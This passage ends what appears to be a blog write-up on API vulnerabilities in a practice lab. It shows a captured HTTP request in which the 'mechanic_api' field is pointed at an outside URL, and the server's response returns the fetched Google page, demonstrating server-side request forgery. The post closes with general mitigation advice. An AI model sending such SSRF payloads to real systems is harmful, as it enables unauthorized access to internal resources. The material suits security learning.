sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="104"
Authorization: Bearer eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJ0ZXN0QHRlc3QuY29tIiwicm9sZSI6InVzZXIiLCJpYXQiOjE2ODA5NjU2MTEsImV4cCI6MTY4MTU3MDQxMX0.kGrBUIXrZabg11fyQ94zqmF5CFTeknYdNEm1JUH_sbfVQ5Ba7AQgFtcKZ3_wBEVT645bDqW0tRyzePXK11Crb1uM-VzGROEcyaLyF3L49Zz3GhI8nfb2JKz3cGzfbFJ4_Z-lj23CSAr4DOr8zmWRuoq0JsBi_XX23BBvqWXWGgFXisDSHi139ruOCe2aXslK0TbRAjfOUtb2KEjNT7spxUTw5f6FnlAVOK3VdOKKkPxG1729XPQSvRWFnoueUj65KY-B3cy9s07Yjsg7BGrOwLpklLeS-Fw4eS3LasMJc49rMOjkkHM7wYIwBy1VRMLwaKbJcVFFlfyLXFbxoib_4Q
Content-Type: application/json
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
sec-ch-ua-platform: "Linux"
Accept: */*
Origin: http://localhost:8888
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8888/contact-mechanic?VIN=7CCZG71CRZO653819
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

{
   "mechanic_code":"TRAC_JHN",
   "problem_details":"Test",
   "vin":"7CCZG71CRZO653819",
   "mechanic_api":"https://www.google.com",
   "repeat_request_if_failed":false,
   "number_of_repeats":1
}

And in the response, we got the the Google page:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
HTTP/1.1 200 OK
Server: openresty/1.17.8.2
Date: Sat, 08 Apr 2023 19:23:31 GMT
Content-Type: application/json
Connection: close
Allow: POST, OPTIONS
Vary: Origin, Cookie
Access-Control-Allow-Origin: *
X-Frame-Options: SAMEORIGIN
Content-Length: 16101

{
	"response_from_mechanic_api":"<!doctype html><html itemscope=\"\" itemtype=\"http://schema.org/WebPage\" lang=\"de-CH\"><head><meta content=\"text/html; charset=UTF-8\" http-equiv=\"Content-Type\"><meta content=\"/images/branding/googleg/1x/googleg_standard_color_128dp.png\" itemprop=\"image\"><title>Google</title><script nonce=\"boqDTMtYEzH5BQOxfgOUNQ\">(function(){window.google={kEI:'Mr8xZKfzL9CsgQawy7HYCg',kEXPI:'0,1359409,1709,4350,206,4804,2316,383,246,5,1129120,1197715,686,380090,16114,28684,22430,1362,12312,4753,12834,4998,13228,3847,38444,2872,2891,3926,214,7614,606,30668,27618,2404,2614,13142,1,2,346,230,6183,14400,4,1528,2304,42126,13659,4437,16786,5800,2557,4094,7596,1,42154,2,14022,25739,6700,31122,4568,6258,23418,1252,5835,12137,2830,4333,5016,2468,11407,13669,2006,5665,2490,7381,15970,872,19634,7,1922,9779,5864,15527,14763,6305,2007,18192,5796,2,14434,20206,1622,1748,31,668,3211,1097,8051,10909,4412,991,3030,426,5685,1864,1361,6480,1804,7762,467,1150,1093,1759,94,1032,7655,695,473,657,3570,685,357,52 [TRUNCATED]",
	"status":200
} 

In conclusion, API vulnerabilities such as these explained in this post can pose significant risks to organizations that rely on APIs to support their operations. These vulnerabilities can allow attackers to gain unauthorized access to sensitive data, steal sensitive information, or disrupt critical business processes. To mitigate these risks, organizations should implement robust security measures that include regular security testing and vulnerability assessments, strong authentication and authorization mechanisms, input validation and sanitation, and encryption of sensitive data in transit and at rest. By taking proactive steps to secure their APIs, organizations can better protect their systems and data from potential attacks, while also ensuring that they remain compliant with legal and regulatory requirements. As the use of APIs continues to grow and evolve, it is essential that organizations remain vigilant in their efforts to identify and address potential security risks, and to implement best practices and technologies to ensure the ongoing security and reliability of their API-enabled systems.

This post is licensed under CC BY 4.0 by the author.